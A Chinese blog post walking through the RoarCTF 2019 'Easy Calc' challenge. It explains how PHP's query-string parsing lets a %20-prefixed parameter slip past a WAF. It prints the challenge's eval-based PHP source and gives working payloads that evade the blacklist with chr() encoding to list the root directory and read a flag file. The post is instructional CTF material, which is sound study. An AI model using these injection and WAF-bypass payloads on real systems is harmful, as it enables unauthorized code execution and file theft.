[RoarCTF 2019]Easy Calc

SheepLeeeee

于 2022-08-07 11:53:38 发布

阅读量444

点赞数

文章标签： php 开发语言 web安全

本文链接：https://blog.csdn.net/m0_68074153/article/details/126208370

版权

本文探讨了PHP如何解析查询字符串并转换为内部数组，利用此特性可以绕过WAF过滤。举例说明了一种利用%20空格字符绕过WAF的方法，并详细分析了代码审计过程中发现的黑名单绕过策略。通过使用scandir()和var_dump()等函数，成功避开黑名单执行代码并获取目标文件。

摘要由CSDN通过智能技术生成

1.php字符解析

这里涉及一些新知识，就是有关php对字符串的解析。

PHP将查询字符串（在URL或正文中）转换为内部GET或的关联数组_POST。例如：/?foo=bar变成Array([foo] => “bar”)。值得注意的是，查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如，/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截，那么我们就可以用以下语句绕过：
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名，因此在解析查询字符串时，它会做两件事：
1.删除空白符
2.将某些字符转换为下划线（包括空格）

这里我们就利用到了会删除空白符特性。

2.解题

1.php字符解析漏洞waf绕过

首先进入页面查看源码，发现一个calc.php文件。
在这里插入图片描述
访问这个calc.php。
看到了源码，那么代码审计。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

通过代码审计我们发现了黑名单，传入参数num，并且有eval()函数进行代码执行。经过输入参数num我们发现会对输入的字符进行拦截，之前的js代码也提示说这里有waf对参数进行了过滤。
对waf的绕过我们就要用到了对php字符解析的特点。我们传入参数%20num而不是num，因为waf对num参数进行了拦截，我们传入%20num从而绕过waf的拦截，又因为php对传入参数的特性，会对空白符进行删除，那么就相当于我们传入的参数是num并且可以传入字母了。

2.黑名单绕过

可以传入字母了这时候我们需要绕过黑名单来进行代码执行由于不能用引号所以我们不能使用system之类的函数进行命令执行，所以这里我们用到别的函数。
这里我们要用到scandir()对目录进行扫描来找到我们要的flag文件，该函数执行得到的是一个对象，我们还需要用var_dump,print_r之类的函数进行输出。
payload：? num=print_r(scandir(chr(47)))||? num=var_dump(scandir(chr(47)))
在这里插入图片描述
由于/在黑名单，所以我们这里用chr(47)来进行绕过。
接下来用file_get_contents()对文件f1agg进行读取。
payload：? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
成功拿到flag。